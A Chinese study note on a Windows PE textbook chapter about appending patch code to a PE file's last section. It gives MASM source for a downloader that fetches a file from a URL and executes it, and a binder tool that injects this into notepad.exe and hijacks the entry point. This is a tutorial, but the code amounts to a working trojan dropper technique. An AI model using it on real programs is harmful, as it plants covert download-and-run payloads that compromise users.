《Windows PE权威指南》学习之第17章 在PE最后一节中插入程序
本章介绍如何在PE文件的最后一节插入补丁程序的方法。与前三章的补丁方法相比,这种方法是最简单也是最有效的一个,在后续章节的实例中几乎都是采用这种方法对目标PE实施补丁的。因为PE文件的最后一节的数据在文件的末尾,所以,将代码添加到最后一节时无需新增节表项,无需移动现有文件内容。
读者可能会问,如果最后一节是在装载时可以被抛弃的节该怎么办(比如重定位节)?幸运的是,相对于可运行的PE文件来说,由于操作系统为每个进程分配的地址空间是独立的,所以其被装载时总是被放置到指定的位置,所以,在可运行的PE里,不存在重定位节。首先来看补丁程序。
17.1 网络文件下载器补丁程序实例
本节要完成的补丁程序是一个网络文件下载器,即从网络上下载指定地址的PE文件并运行。从网络上下载文件时,会用到动态链接库wininet.dll,其中包含了Win32下与网络有关的函数,利用这些函数实现基于HTTP协议和FTP协议的服务连接和文件传输等功能。
网络文件下载器(简称“下载器”)可以用于软件在线自动升级、软件更新、远程管理和控制等领域。下载器首先通过检测本地网络连接状态,确定是否执行下载操作(本实例会循环检测网络连接状态,直到发现一个连接为止),下载时使用函数InternetOpenURL打开指定URL地址的连接;然后,使用InternetReadFile读取要下载的文件相关数据,并写入本地文件,完成对网络文件的下载。本例中最后还单独开启一个线程尝试执行已下载的文件。
首先来看本实例中用到的API函数。
17.1.1 用到的API函数
基于HTTP(HyperText Transfer Protocol,超文本传输协议)的文件下载的相关函数在动态链接库wininet.dll中。与本章补丁程序编写有关的函数见表17-1。
表17-1 补丁程序用到的API函数

如表17-1所示,大部分情况下,每个功能的函数都会有扩展函数,在原函数名末尾添加后缀“Ex”。如果函数参数中有字符串,则通常还会存在两个版本的相同名称的函数,例如,读取文件的扩展函数InternetReadFileExA,除此之外,还有一个名称是InternetReadFileExW。关于“A”和“W”的具体含义参照本书1.2.2小节的介绍。下面依次来介绍这些函数的定义及用法。
1.函数InternetGetConnectedStateEx
该函数用来检测当前电脑的网络连接情况。以下是该函数的完整定义:
BOOL InternetGetConnectedStateEx(
__out LPDWORD lpdwFlags,
__out LPTSTR lpszConnectionName,
__in DWORD dwNameLen,
__in DWORD dwReserved
);
函数参数解释如下:
1)lpdwFlags:出口参数,它是一个指向所获得的连接状态的指针。即使函数返回值为FALSE,该参数也会指向一个合法的标志。该标志的值通常有以下几种:
表17-2 函数InternetGetConnectedStateEx参数lpdwFlags的值

2)lpszConnectionName:指向返回连接名的字符串缓冲区的指针。
3)dwNameLen:字符串缓冲区长度。
4)dwReserved:保留,必须为0。
5)返回值:如果有一个活动的Internet连接,则返回TRUE,具体使用什么方式连接的网络则通过第一个参数lpdwFlags查找 ;如果没有Internet连接或连接当前不可用,则返回FALSE。如果返回FALSE,可通过调用GetLastError进一步查看更多错误信息。
2.函数InternetOpen
该函数可以建立客户端正在使用的网络连接参数表。函数原型如下:
HINTERNET WINAPI InternetOpen(
LPCTSTR lpszAgent, // 调用 WinINet 函数的应用程序
DWORD dwAccessType, // 访问类别
LPCTSTR lpszProxy, // 代理
LPCTSTR lpszProxyBypass, // 指向可选主机的字符串
DWORD dwFlags // 标志
);
函数参数解释如下:
1)lpszAgent:指定调用WinINet函数的应用程序或入口,该入口用做HTTP协议中的用户代理项。
2)dwAccessType:指定返回参数的类别,该参数可为下列值之一:
❑ INTERNET_OPEN_TYPE_DIRECT:用于解析所有本地主机;
❑ INTERNET_OPEN_TYPE_PRECONFIG:返回注册表中代理或直接的配置;
❑ INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY:返回注册表中代理或直接的配置,并忽略通过自动脚本(如Microsoft Jscript等)设置的其他代理配置;
❑ INTERNET_OPEN_TYPE_PROXY:为代理传递请求,除非代理提供了旁路列表且解析的名字可以绕过代理,此时,函数使用INTERNET_OPEN_TYPE_DIRECT。
3)lpszProxy:指定当dwAccessType类型为INTERNET_OPEN_TYPE_PROXY时,代理服务器的名字。代理服务器的名字不能使用空字符串。WinINet函数仅能识别OERN类型的代理和TIS网关。如果安装了IE,这些函数也同样支持SOCKS代理。另外,如果dwAccessType类型没有被设置为INTERNET_OPEN_TYPE_PROXY,则该参数将被忽略且为NULL。
4)lpszProxyBypass:指向一个字符串,它指定一个可选的主机名列表或IP地址。
5)dwFlags:标志字。该参数可为下列值的任意组合:
❑ INTERNET_FLAG_ASYNC:仅能用于作用在该函数返回的句柄的子句柄上的异步请求。
❑ INTERNET_FLAG_FROM_CACHE:不做网络请求,所有的实体都由缓存返回。如果请求条目不在缓存中,将返回错误。
❑ INTERNET_FLAG_OFFLINE:与INTERNET_FLAG_FROM_CACHE 一样。
6)返回值:如果失败,返回NULL,否则返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinINet函数。
3.函数InternetSetOption
该函数可用来改变各种Internet设置及当前网络进程的参数。完整定义如下:
BOOL InternetSetOption(
__in HINTERNET hInternet, // 操作句柄
__in DWORD dwOption, // 设定的参数
__in LPVOID lpBuffer, // 存放设置参数或返回结果的缓冲区
__in DWORD dwBufferLength // 缓冲区尺寸
);
函数参数解释如下:
1)dwOption:要设置的连接Internet的选项。表17-3中列出一些常用的选项,由于这些选项比较多,具体的信息请参照MSDN。
表17-3 参数dwOption常用值

2)lpBuffer:指向包含选项设置的内容的一个指针。
3)dwBufferLength:缓冲区尺寸。
4)返回值:如果成功,就返回TRUE。
4.函数InternetOpenUrl
本函数用于打开一个URL地址指定的文件。函数完整定义如下:
HINTERNET InternetOpenUrl(
HINTERNET hInternet, // 句柄
LPCTSTR lpszUrl, // 打开URL地址
LPCTSTR lpszHeaders, // 头部
DWORD dwHeadersLength, // 头部长度
DWORD dwFlags, // 打开URL地址的属性
DWORD_PTR dwContext // 环境变量
);
函数参数解释如下:
1)hInternet:当前的Internet会话句柄。句柄必须由前期的InternetOpen调用返回。
2)lpszUrl:一个空字符结束的字符串变量的指针,用以标识要读取的网址。只有以“ftp:”、“gopher:”、“http:”或者“https:”开头的网址被支持。
3)lpszHeaders:一个空字符结束的字符串变量的指针,指定发送到HTTP服务器的头信息。
4)dwHeadersLength:额外的头的大小,以字节为单位。
5)dwFlags:标志字。此参数可为下列值之一:
❑ INTERNET_FLAG_EXISTING_CONNECT:如果此次访问和上一次访问使用了相同的属性,则会尝试使用已有的InternetConnect对象。这只对FTP操作有用,因为FTP是唯一在同一会话中执行多种操作的协议。WinINet API为每个由InternetOpen产生的HINTERNET保存一个独立的句柄。函数InternetOpenUrl和InternetConnect则使用此标志建立HTTP和FTP连接。
❑ INTERNET_FLAG_HYPERLINK:当决定要从网络重载时,如果服务器没有返回Expirestime和LastModified,那么强制重载。
❑ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP:禁用检测从HTTPS到HTTP地址的重定向。当该标志被使用时,WinINet允许透明地重定向从HTTPS到HTTP的访问地址。
❑ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS:禁用检测从HTTP到HTTPS地址的重定向。当该标志被使用时,WinINet允许透明地重定向从HTTP到HTTPS的访问地址。
❑ INTERNET_FLAG_NEED_FILE:如果要创建的文件不能被缓存,则创建临时文件。
❑ INTERNET_FLAG_NO_AUTH:不试图自动验证。
❑ INTERNET_FLAG_NO_AUTO_REDIRECT:不自动处理HttpSendRequest中的重定向。
❑ INTERNET_FLAG_NO_CACHE_WRITE:不添加返回实体到缓存。
❑ INTERNET_FLAG_NO_COOKIES:不会自动添加的Cookie头到请求,并且不自动添加返回的Cookies到Cookie数据库。
❑ INTERNET_FLAG_NO_UI:禁用Cookie的对话框。
❑ INTERNET_FLAG_PRAGMA_NOCACHE:即使代理中存在缓存副本,也强制要求由源服务器返回。
❑ INTERNET_FLAG_RELOAD:从源服务器强制下载所要求的文件、对象或目录列表,而不是从缓存下载。
❑ INTERNET_FLAG_RESYNCHRONIZE:重新加载的HTTP资源,如果资源在最后一次下载后已被修改,所有FTP和Gopher资源将被重载。
❑ INTERNET_FLAG_SECURE:使用安全传输语义。表示这次传输将使用安全套字节层/专用通信技术(SSL/PCT),这只有在HTTP请求时有意义。
6)dwContext:指向应用程序定义的某个值,它将随着返回的句柄,一起传递给回调函数。
7)返回值:如果已成功建立到FTP、Gopher或HTTP URL的连接,返回一个有效的句柄;如果连接失败,则返回NULL。
要检索特定的错误息,请使用函数GetLastError。要确定为什么对服务器的请求被拒绝,可以调用函数InternetGetLastResponseInfo。
5.函数HttpQueryInfo
该函数返回一个与HTTP请求关联的信息头。函数完整定义如下:
BOOL HttpQueryInfo(
__in HINTERNET hRequest, // 句柄
__in DWORD dwInfoLevel, // 修改请求用的属性和标识符的组合
__inout LPVOID lpvBuffer, // 接收请求信息的缓冲区
__inout LPDWORD lpdwBufferLength, // 缓冲区长度
__inout LPDWORD lpdwIndex // 指向一个基于0的头索引
);
函数参数解释如下:
1)hRequest:由HttpOpenRequest或InternetOpenUrl函数返回的句柄。
2)dwInfoLevel:属性和标识符的组合,用来修改请求。
3)lpvBuffer:指向一个缓冲的指针,该缓冲接收请求的信息。注意,该参数绝对不能为NULL。
4)lpdwBufferLength:指向一个变量的指针,该变量包含lpvBuffer参数指向的缓冲大小。当函数成功返回时,该变量包含了写入缓冲区的字节数。对于字符串,字节数量不包含结尾的NULL字符。当函数以ERROR_INSUFFICIENT_BUFFER而失败时,变量指向一个足够承载所需信息的缓冲区大小。主调用程序可以利用再次对该函数的调用为缓冲分配足够的空间。
5)lpdwIndex:指向一个基于0的头索引,用来枚举相同名字情况下多个头信息。当调用该函数时,该参数存储的是头的索引;当函数返回时,该参数是下一个头的索引。如果下一个索引不能找到,则返回ERROR_HEADER_NOT_FOUND 。
6)返回值:如果成功,返回TRUE ;如果失败,返回FALSE。
6.函数InternetReadFile
本函数用于读取网络上指定URL的文件。函数完整定义如下:
BOOL WINAPI InternetReadFile(
HINTERNET hFile, // 网络文件句柄
LPVOID lpBuffer, // 存储下载内容的缓冲区
DWORD dwNumberOfBytesToRead, // 要读取的字节长度
LPDWORD lpdwNumberOfBytesRead // 读到的字节长度
);
函数参数解释如下:
1)hFile:通过函数InternetOpenUrl、FtpOpenFile或HttpOpenRequest返回的合法的网络文件句柄。
2)lpBuffer:本地定义的用来存储读取到内容的缓冲区。
3)dwNumberOfBytesToRead:要读取的字节数。
4)lpdwNumberOfBytesRead:返回实际读取的字节数。
5)返回值:如果为TRUE,表示成功;否则,表示失败。
7.函数InternetCloseHandle
该函数用于关闭已打开的Internet文件。完整定义如下:
BOOL InternetCloseHandle(
__in HINTERNET hInternet // 要关闭的文件句柄
);
函数参数解释如下:
1)hInternet:要关闭的文件句柄。
2)返回值:如果成功关闭,则返回TRUE;否则返回FALSE,表示关闭失败。
17.1.2 补丁功能的预演代码
如果直接编写补丁程序,需要通过补丁工具将补丁程序嵌入到目标PE文件中才能进行测试,这种方法不利于对程序的调试和纠错;因此,对于相对复杂的补丁程序的编写,应该先从它的功能代码开始。方法是编写一个简单的功能预演代码,该预演代码能够实现补丁程序应具备的所有功能;通过对预演代码的调试,能及时方便地发现代码中存在的错误并改正。当所有代码逻辑都没有问题以后,再着手编写补丁程序。代码清单17-1是实现目标补丁的功能代码(注意,这不是补丁程序)。
代码清单17-1 网络下载器的补丁程序预演版(chapter17\a\download.asm)
;download.asm 下载器(该源代码为功能测试版)
;未达到补丁要求,请按照补丁规则自行编写
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff download.asm
;link -subsystem:windows download.obj
.386
.model flat,stdcall
option casemap:none
include C:/masm32/include/windows.inc
include C:/masm32/include/user32.inc
includelib C:/masm32/lib/user32.lib
include C:/masm32/include/kernel32.inc
includelib C:/masm32/lib/kernel32.lib
include C:/masm32/include/wininet.inc
includelib C:/masm32/lib/wininet.lib
.code
jmp start
szText db 'HelloWorld', 0
lpCN db 256 dup(0)
lpDWFlag dd ?
szTempPath db '.', 0
szAppName db 'Shell',0
lpszURL db 'http://127.0.0.1:2026/assets/style.css', 0
hInternet dd ?
hInternetFile dd ?
hThreadID dd ?
;代码段
.code
;-----------------------
; 线程函数,下载并运行
; 参数_lpURL指向要下载的文件
;-----------------------
_downAndRun proc _lpURL
local @szFileName[256]:byte
local @dwBuffer, @dwNumberOfBytesWritten, @dwBytesToWrite
local @lpBuffer[200h]:byte
local @hFile
local @stStartupInfo:STARTUPINFO
local @stProcessInformation:PROCESS_INFORMATION
invoke GetTempFileName, addr szTempPath, NULL, \
0, addr @szFileName
invoke InternetOpen, offset szAppName, \
INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0
.if eax != NULL
mov hInternet, eax
;设置联接超时值和接收超时值
invoke InternetSetOption, hInternet, \
INTERNET_OPTION_CONNECT_TIMEOUT, addr @dwBuffer, 4
invoke InternetSetOption, hInternet, \
INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, \
addr @dwBuffer, 4
;用当前参数打开URL
invoke InternetOpenUrl, hInternet, _lpURL, NULL, NULL, \
INTERNET_FLAG_EXISTING_CONNECT, 0
.if eax != NULL
mov hInternetFile, eax
mov @dwNumberOfBytesWritten, 200h
;读HTTP文件头
invoke HttpQueryInfo, hInternetFile, HTTP_QUERY_STATUS_CODE, \
addr @lpBuffer, addr @dwNumberOfBytesWritten, 0
.if eax != NULL
;打开临时文件准备写
invoke CreateFile, addr @szFileName, GENERIC_WRITE, \
0, NULL, OPEN_ALWAYS, 0, 0
.if eax != 0FFFFFFFFh
mov @hFile, eax
.while TRUE
mov @dwBytesToWrite, 0
;读网络文件数据
invoke InternetReadFile, hInternetFile, addr @lpBuffer, \
200h, addr @dwBytesToWrite
.break .if (!eax)
.break .if (@dwBytesToWrite == 0)
;写入文件
invoke WriteFile, @hFile, addr @lpBuffer,
@dwBytesToWrite, addr @dwNumberOfBytesWritten, 0
.endw
invoke SetEndOfFile, @hFile
invoke CloseHandle, @hFile
.endif
.endif
invoke InternetCloseHandle, hInternetFile
.endif
invoke InternetCloseHandle, hInternet
.endif
;运行下载的文件
invoke GetStartupInfo, addr @stStartupInfo
invoke CreateProcess, NULL, addr @szFileName, NULL, NULL, FALSE, \
NORMAL_PRIORITY_CLASS, NULL, NULL, \
addr @stStartupInfo, \
addr @stProcessInformation
.if eax == 0
invoke CloseHandle, @stProcessInformation.hThread
invoke CloseHandle, @stProcessInformation.hProcess
.endif
ret
_downAndRun endp
start:
;测试网络是否连通
.while TRUE
invoke Sleep, 1000 ;睡眠1秒
invoke InternetGetConnectedStateEx, \
addr lpDWFlag, \
addr lpCN, 256, 0
.break .if eax
.endw
invoke _downAndRun, addr lpszURL
;db 0E9h, 0ffh, 0ffh, 0ffh, 0ffh
invoke ExitProcess, NULL
end start
行110~117是一个循环,主要用来测试网络是否联通。如果联通,则开始下载由URL地址指定的网络文件。下载时,每次读取200h个字节,并写入到预先生成的临时文件中;最后,通过调用CreateProcess函数来运行下载后的程序。
本程序试图联接www.jntljdx.com网站,并从该网站下载文件gz.doc。
注意 在实际测试中,读者可以在互联网的某个网站上部署一个可执行文件,然后修改代码中指定要下载的URL地址。
这里在本地启动一个静态服务器,里面入了style.css文件,虚拟机里网络连接不通,这里用VS2019编译测试,下载的文件为xx.tmp,每次运行时生成的文件名都不一样,以tmp后缀结尾。
![]()
17.1.3 补丁程序的源代码
经过补丁功能代码的反复调试,如果没有错误,则可以进行补丁代码的编写。代码清单17-2是网络文件下载器的补丁代码,使用了本书13.3节介绍的嵌入补丁框架。这里只选取其中的一小部分,完整的补丁程序请参考随书文件chapter17\a\patch.asm。
代码清单17-2 从网络下载文件的补丁代码片断(chapter17\a\patch.asm)
1 _patchFun proc _kernel,_getAddr,_loadLib
2
3 ;------------------------------------------------------
4 ; 补丁功能代码局部变量定义
5 ;------------------------------------------------------
6 pushad
7 ;测试网络是否连通
8 .while TRUE
9 push 1000
10 mov edx,_sleep[ebx] ;睡眠1秒
11 call edx
12
13 push 0
14 push 256
15 mov edx,offset lpCN
16 add edx,ebx
17 push edx
18 mov edx,offset lpDWFlag
19 add edx,ebx
20 push edx
21
22 mov edx,_internetGetConnectedStateEx[ebx] ;测试网络连通状态
23 call edx
24 .break .if eax
25 .endw
26 mov edx,offset lpszURL
27 add edx,ebx
28 push edx
29 mov edx,offset _downAndRun ;下载文件并执行
30 add edx,ebx
31 call edx
32
33 popad
34 ret
35 _patchFun endp
补丁代码和功能代码在逻辑思路上是完全一致的,所不同的是代码的表现方法。在补丁代码中使用了重定位技术和动态加载技术,所以,对每个函数的调用就相对复杂一些。如测试网络连通状态的代码在补丁功能代码中只有一行:
invoke InternetGetConnectedStateEx,addr lpDWFlag,addr lpCN,256,0
而在补丁代码中则需要很多行,如下所示:
push 0
push 256
mov edx,offset lpCN
add edx,ebx
push edx
mov edx,offset lpDWFlag
add edx,ebx
push edx
mov edx,_internetGetConnectedStateEx[ebx] ;测试网络连通状态
call edx
其他函数的调用方法类似于对函数InternetGetConnectedStateEx的调用,不再累述。
17.1.4 目标PE结构
在PE最后一节中插入程序后PE文件的结构如图17-1所示。

图17-1 最后一节插入程序后的目标PE结构
如图所示,附加代码即为补丁字节码,添加到目标PE文件末尾作为最后一节的一部分。图中标识的各变量解释(这些变量在补丁工具代码中被定义)如下:
❑ dwLastSectionAlignSize:最后一节对齐后的尺寸(含嵌入的补丁字节码)。
❑ dwNewFileSize:补丁后的目标PE文件的总大小。
❑ dwLastSectionStart:最后一节起始位置在文件中的偏移量。
❑ @dwFileSize1:目标PE最后一节未对齐时的大小(此大小不包含补丁代码)。
❑ dwNewFileAlignSize:附加代码在文件中的起始位置。
17.2 开发补丁工具
下面将介绍在PE最后一节中插入程序的补丁工具的开发。和前几章的补丁工具类似,本节的补丁工具完成了对补丁代码的附加,以及对参数的修正操作。
17.2.1 编程思路
在PE最后一节中插入程序的基本思路如下:
步骤1 在PE文件的最后一节将补丁代码附加进去。
步骤2 修改最后一个节表的内容,主要是SizeOfRawData、PointerToRawData和Characteristics三个字段的值。
步骤3 修正PE文件头部的相关字段,这些字段包括:映像尺寸SizeOfImage、函数的入口地址AddressEntryPoint。
步骤4 修正嵌入补丁框架中E9指令的操作数,即代码中的跳转指令地址。
根据以上分析的编程思路,可以知道编写补丁工具的大致流程如下:
1)获得补丁代码段大小,因为假设补丁程序使用了嵌入框架,所以数据、代码均在代码段中,补丁程序没有数据段定义。
2)将目标文件按照文件对齐粒度对齐。这主要是为了防止有一些文件结尾时,不考虑对齐粒度,从而导致在最后一节添加内容时造成不对齐。
3)求最后一节在文件中的偏移。
4)求最后一节的大小并按照文件对齐粒度对齐。
5)计算出添加了补丁程序的新文件的大小(原文件对齐后的值+补丁大小)。
6)按照计算出的新文件大小申请内存空间,并将原文件复制到申请的内存空间起始位置。
7)复制补丁代码到dwNewFileAlignSize处。
8)计算最后一节的SizeOfRawData和Misc的值,并更正;然后,设置该节的属性为可执行、可读、可写,即0c0000060h。
9)修正文件头部关键字段SizeOfImage。
10)修正函数入口地址和嵌入补丁框架最后的E9转移指令的操作数。
11)将内存中的内容复制到磁盘文件中。
17.2.2 主要代码
本节补丁工具的编写借用了第2章介绍的通用窗口程序框架pe.asm,补丁工具的主要代码在函数_openFile中。代码清单17-3列出了本节补丁工具的主要代码。
1 ;补丁代码段大小
2 invoke getCodeSegSize,@lpMemory
3 mov dwPatchCodeSize,eax
4
5 invoke wsprintf,addr szBuffer,addr szOut100,eax
6 invoke _appendInfo,addr szBuffer
7
8
9 ;将文件大小按照文件对齐粒度对齐
10
11 invoke getFileAlign,@lpMemory1
12 mov dwFileAlign,eax
13 xchg eax,ecx
14 mov eax,@dwFileSize1
15 invoke _align
16 mov dwNewFileAlignSize,eax
17
18 invoke wsprintf,addr szBuffer,addr szOut121,@dwFileSize1,\
19 dwNewFileAlignSize
20 invoke _appendInfo,addr szBuffer
代码清单17-3 补丁工具主要代码(chapter17\bind.asm)
21
22 ;求最后一节在文件中的偏移
23 invoke getLastSectionStart,@lpMemory1
24 mov dwLastSectionStart,eax
25
26 invoke wsprintf,addr szBuffer,addr szOut122,eax
27 invoke _appendInfo,addr szBuffer
28
29 ;求最后一节大小
30 mov eax,dwNewFileAlignSize
31 sub eax,dwLastSectionStart
32 add eax,dwPatchCodeSize
33 ;将该值按照文件对齐粒度对齐
34 mov ecx,dwFileAlign
35 invoke _align
36 mov dwLastSectionAlignSize,eax
37
38 invoke wsprintf,addr szBuffer,addr szOut123,eax
39 invoke _appendInfo,addr szBuffer
40
41
42 ;求新文件大小
43 mov eax,dwLastSectionStart
44 add eax,dwLastSectionAlignSize
45 mov dwNewFileSize,eax
46
47 invoke wsprintf,addr szBuffer,addr szOut124,eax
48 invoke _appendInfo,addr szBuffer
49
50
51 ;申请内存空间
52 invoke GlobalAlloc,GHND,dwNewFileSize
53 mov @hDstFile,eax
54 invoke GlobalLock,@hDstFile
55 mov lpDstMemory,eax ;将指针给@lpDst
56
57
58 ;将目标文件复制到内存区域
59 mov ecx,@dwFileSize1
60 invoke MemCopy,@lpMemory1,lpDstMemory,ecx
61
62 ;将补丁代码附加到最后一节中
63 invoke getCodeSegStart,@lpMemory
64 mov dwPatchCodeSegStart,eax
65
66 ;复制补丁代码
67 mov esi,dwPatchCodeSegStart
68 add esi,@lpMemory
69
70 mov edi,lpDstMemory
71 add edi,dwNewFileAlignSize
72
73 mov ecx,dwPatchCodeSize
74 invoke MemCopy,esi,edi,ecx
75
76 ;---------------------------到此为止,数据复制完毕
77
78 ;修正
79
80 ;计算SizeOfRawData
81 invoke _getRVACount,lpDstMemory
82 xor edx,edx
83 dec eax
84 mov ecx,sizeof IMAGE_SECTION_HEADER
85 mul ecx
86
87 mov edi,lpDstMemory
88 assume edi:ptr IMAGE_DOS_HEADER
89 add edi,[edi].e_lfanew
90 add edi,sizeof IMAGE_NT_HEADERS
91 add edi,eax
92 assume edi:ptr IMAGE_SECTION_HEADER
93 mov eax,dwLastSectionAlignSize
94 mov [edi].SizeOfRawData,eax
95
96 ;计算Misc值
97 invoke getSectionAlign,@lpMemory1
98 mov dwSectionAlign,eax
99 xchg eax,ecx
100 mov eax,dwLastSectionAlignSize
101 invoke _align
102 mov [edi].Misc,eax
103
104 ;修改标志
105 mov eax,0c0000060h
106 mov [edi].Characteristics,eax
107 ;计算VirtualAddress
108
109 mov eax,[edi].VirtualAddress ;取原始RVA值
110 mov dwVirtualAddress,eax
111
112 ;修正函数入口地址
113 mov eax,dwNewFileAlignSize
114 invoke _OffsetToRVA,lpDstMemory,eax
115 mov dwNewEntryPoint,eax
116 mov edi,lpDstMemory
117 assume edi:ptr IMAGE_DOS_HEADER
118 add edi,[edi].e_lfanew
119 assume edi:ptr IMAGE_NT_HEADERS
120 mov eax,[edi].OptionalHeader.AddressOfEntryPoint
121 mov dwDstEntryPoint,eax
122 mov eax,dwNewEntryPoint
123 mov [edi].OptionalHeader.AddressOfEntryPoint,eax
124
125 mov eax,dwDstEntryPoint
126 sub eax,dwNewEntryPoint
127 mov dwEIPOff,eax
128
129 ;修正SizeOfImage
130 mov eax,dwLastSectionAlignSize
131 mov ecx,dwSectionAlign
132 invoke _align
133 ;获取最后一个节的VirtualAddress
134 add eax,dwVirtualAddress
135 mov [edi].OptionalHeader.SizeOfImage,eax
136
137
138 ;修正补丁代码中的E9指令后的操作数
139 mov eax,lpDstMemory
140 add eax,dwNewFileAlignSize
141 add eax,dwPatchCodeSize
142
143 sub eax,5 ;eax指向了E9的操作数
144 mov edi,eax
145
146 sub eax,lpDstMemory
147 add eax,4
148
149 mov ebx,dwDstEntryPoint
150 invoke _OffsetToRVA,lpDstMemory,eax
151 sub ebx,eax
152 mov dword ptr [edi],ebx
153
154 pushad
155 invoke wsprintf,addr szBuffer,addr szOut112,ebx
156 invoke _appendInfo,addr szBuffer
157 popad
158
159 ;将新文件内容写入到c:\bindC.exe
160 invoke writeToFile,lpDstMemory,dwNewFileSize
读者可自行比对补丁工具的编写流程和代码中的注释,辅助阅读该部分代码。
17.2.3 运行测试
编译链接补丁工具代码,使用生成的bind.exe对记事本程序进行测试,相关文件在随书文件的目录chapter17\a中。以下是使用补丁工具对notepad.exe打补丁的运行结果:
补丁程序:D:\masm32\source\chapter17\a\patch.exe
目标PE程序:C:\notepad.exe
补丁代码段大小:0000078a
PE文件大小:00010400
对齐以后的大小:00010400
目标文件最后一节在文件中的起始偏移:00008400
目标文件最后一节对齐后的大小:00008800
新文件大小:00010c00
补丁代码中的E9指令后的操作数修正为:ffff3c14
注意 测试时要保证电脑已连接到互联网络,且在指定的服务器上放置了要下载并运行的程序。如果联网不成功,程序会进入死循环。读者可以根据实际需要对代码进行修正,如设置超时的时间等,以便让程序能对运行环境有更好的适应性。
测试的网址为http://www.sddx.gov.cn/__local/2/5F/4C/95C2147F7016BABA9D71CCF7F5B_3543EAF0_1C071.jpg
这是一张图片


生成bindC.exe文件在C盘根目录下:

下载的原文件是一张图片,因此,把后缀改成jpg格式,可以打开图片

17.3 小结
本章主要讨论了在PE最后一节附加代码的方法。相比前三章的方法,这种方法工作量最少、编码最简单、要修正的值也最少。所以,这种方法被广泛用于各种场合的静态补丁中。通过学习本章,读者还可以掌握编写复杂补丁程序的方法,即先编写补丁程序的功能预演代码,然后按照静态嵌入补丁框架的编写原则逐句进行修改。
至此,PE进阶部分就结束了。通过本阶段的学习,笔者希望大家能掌握编写补丁程序、实施PE变形、在目标PE中插入补丁程序等方法。接下来的内容实践性会更强,将会为读者提供几个有趣又实用的专题案例。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)